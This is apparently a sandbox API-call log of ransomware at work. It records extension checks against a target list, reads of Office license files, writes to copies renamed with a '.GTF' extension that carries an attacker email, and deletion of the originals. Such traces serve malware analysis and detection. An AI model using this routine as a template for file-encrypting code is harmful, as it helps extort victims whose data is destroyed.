	[0174.856] lstrlenW (lpString=".jpg") returned 4
	[0174.856] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0174.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0174.856] lstrlenW (lpString=".doc") returned 4
	[0174.856] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.856] lstrlenW (lpString=".docx") returned 5
	[0174.856] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.856] lstrlenW (lpString=".pdf") returned 4
	[0174.856] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.856] lstrlenW (lpString=".xls") returned 4
	[0174.856] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.856] lstrlenW (lpString=".xlsx") returned 5
	[0174.856] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.856] lstrlenW (lpString=".ppt") returned 4
	[0174.856] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0174.856] lstrlenW (lpString=".zip") returned 4
	[0174.856] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.856] lstrlenW (lpString=".rar") returned 4
	[0174.856] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.856] lstrlenW (lpString=".bz2") returned 4
	[0174.856] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.857] lstrlenW (lpString=".7z") returned 3
	[0174.857] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0174.857] lstrlenW (lpString=".dbf") returned 4
	[0174.857] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0174.857] lstrlenW (lpString=".1cd") returned 4
	[0174.857] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0174.857] lstrlenW (lpString=".jpg") returned 4
	[0174.857] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.857] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.857] lstrlenW (lpString="MondoR_KMS_Automation-ul.xrm-ms") returned 31
	[0174.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0174.858] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=9613) returned 1
	[0174.858] CloseHandle (hObject=0x45c) returned 1
	[0174.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 0x220
	[0174.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0174.859] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.859] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0174.860] GetLastError () returned 0x0
	[0174.860] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x258d, lpOverlapped=0x0) returned 1
	[0174.977] WriteFile (in: hFile=0x580, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0174.978] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.978] WriteFile (in: hFile=0x580, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x112, lpOverlapped=0x0) returned 1
	[0174.979] SetEndOfFile (hFile=0x580) returned 1
	[0174.979] CloseHandle (hObject=0x580) returned 1
	[0174.979] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.979] SetEndOfFile (hFile=0x45c) returned 1
	[0174.982] CloseHandle (hObject=0x45c) returned 1
	[0174.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 1
	[0175.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0175.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0175.074] lstrlenW (lpString=".doc") returned 4
	[0175.075] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.075] lstrlenW (lpString=".docx") returned 5
	[0175.075] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.075] lstrlenW (lpString=".pdf") returned 4
	[0175.075] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.075] lstrlenW (lpString=".xls") returned 4
	[0175.075] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.075] lstrlenW (lpString=".xlsx") returned 5
	[0175.075] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.075] lstrlenW (lpString=".ppt") returned 4
	[0175.075] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0175.075] lstrlenW (lpString=".zip") returned 4
	[0175.075] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.075] lstrlenW (lpString=".rar") returned 4
	[0175.075] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.075] lstrlenW (lpString=".bz2") returned 4
	[0175.075] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.075] lstrlenW (lpString=".7z") returned 3
	[0175.075] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0175.075] lstrlenW (lpString=".dbf") returned 4
	[0175.075] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0175.075] lstrlenW (lpString=".1cd") returned 4
	[0175.075] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0175.075] lstrlenW (lpString=".jpg") returned 4
	[0175.075] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0175.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0175.075] lstrlenW (lpString=".doc") returned 4
	[0175.075] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.076] lstrlenW (lpString=".docx") returned 5
	[0175.076] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.076] lstrlenW (lpString=".pdf") returned 4
	[0175.076] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.076] lstrlenW (lpString=".xls") returned 4
	[0175.076] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.076] lstrlenW (lpString=".xlsx") returned 5
	[0175.076] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.076] lstrlenW (lpString=".ppt") returned 4
	[0175.076] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0175.076] lstrlenW (lpString=".zip") returned 4
	[0175.076] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.076] lstrlenW (lpString=".rar") returned 4
	[0175.076] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.076] lstrlenW (lpString=".bz2") returned 4
	[0175.076] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.076] lstrlenW (lpString=".7z") returned 3
	[0175.076] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0175.076] lstrlenW (lpString=".dbf") returned 4
	[0175.076] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0175.076] lstrlenW (lpString=".1cd") returned 4
	[0175.076] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0175.076] lstrlenW (lpString=".jpg") returned 4
	[0175.076] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.077] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.077] lstrlenW (lpString="MondoR_OEM_Perp-ul-oob.xrm-ms") returned 29
	[0175.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.077] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11582) returned 1
	[0175.077] CloseHandle (hObject=0x574) returned 1
	[0175.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0175.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.078] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.078] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.079] GetLastError () returned 0x0
	[0175.079] ReadFile (in: hFile=0x574, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d3e, lpOverlapped=0x0) returned 1
	[0175.179] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0175.180] ReadFile (in: hFile=0x574, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.180] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0175.180] SetEndOfFile (hFile=0x55c) returned 1
	[0175.180] CloseHandle (hObject=0x55c) returned 1
	[0175.180] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.180] SetEndOfFile (hFile=0x574) returned 1
	[0175.183] CloseHandle (hObject=0x574) returned 1
	[0175.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 1
	[0175.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.184] lstrlenW (lpString=".doc") returned 4
	[0175.184] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.184] lstrlenW (lpString=".docx") returned 5
	[0175.185] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.185] lstrlenW (lpString=".pdf") returned 4
	[0175.185] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.185] lstrlenW (lpString=".xls") returned 4
	[0175.185] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.185] lstrlenW (lpString=".xlsx") returned 5
	[0175.185] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.185] lstrlenW (lpString=".ppt") returned 4
	[0175.185] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.185] lstrlenW (lpString=".zip") returned 4
	[0175.185] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.185] lstrlenW (lpString=".rar") returned 4
	[0175.185] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.185] lstrlenW (lpString=".bz2") returned 4
	[0175.185] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.185] lstrlenW (lpString=".7z") returned 3
	[0175.185] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.185] lstrlenW (lpString=".dbf") returned 4
	[0175.185] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.185] lstrlenW (lpString=".1cd") returned 4
	[0175.185] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.185] lstrlenW (lpString=".jpg") returned 4
	[0175.185] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.185] lstrlenW (lpString=".doc") returned 4
	[0175.185] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.185] lstrlenW (lpString=".docx") returned 5
	[0175.185] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.186] lstrlenW (lpString=".pdf") returned 4
	[0175.186] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.186] lstrlenW (lpString=".xls") returned 4
	[0175.186] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.186] lstrlenW (lpString=".xlsx") returned 5
	[0175.186] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.186] lstrlenW (lpString=".ppt") returned 4
	[0175.186] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.186] lstrlenW (lpString=".zip") returned 4
	[0175.186] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.186] lstrlenW (lpString=".rar") returned 4
	[0175.186] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.186] lstrlenW (lpString=".bz2") returned 4
	[0175.186] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.186] lstrlenW (lpString=".7z") returned 3
	[0175.186] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.186] lstrlenW (lpString=".dbf") returned 4
	[0175.186] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.186] lstrlenW (lpString=".1cd") returned 4
	[0175.186] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.186] lstrlenW (lpString=".jpg") returned 4
	[0175.186] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.186] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.187] lstrlenW (lpString="MondoR_Retail-ul-oob.xrm-ms") returned 27
	[0175.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.187] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11574) returned 1
	[0175.187] CloseHandle (hObject=0x574) returned 1
	[0175.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 0x220
	[0175.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.188] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.188] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.189] GetLastError () returned 0x0
	[0175.189] ReadFile (in: hFile=0x574, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d36, lpOverlapped=0x0) returned 1
	[0175.327] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0175.328] ReadFile (in: hFile=0x574, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.328] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0175.329] SetEndOfFile (hFile=0x55c) returned 1
	[0175.340] CloseHandle (hObject=0x55c) returned 1
	[0175.344] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.344] SetEndOfFile (hFile=0x574) returned 1
	[0175.351] CloseHandle (hObject=0x574) returned 1
	[0175.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 1
	[0175.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0175.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0175.352] lstrlenW (lpString=".doc") returned 4
	[0175.352] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.352] lstrlenW (lpString=".docx") returned 5
	[0175.352] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.353] lstrlenW (lpString=".pdf") returned 4
	[0175.353] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.353] lstrlenW (lpString=".xls") returned 4
	[0175.353] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.353] lstrlenW (lpString=".xlsx") returned 5
	[0175.353] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.353] lstrlenW (lpString=".ppt") returned 4
	[0175.353] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
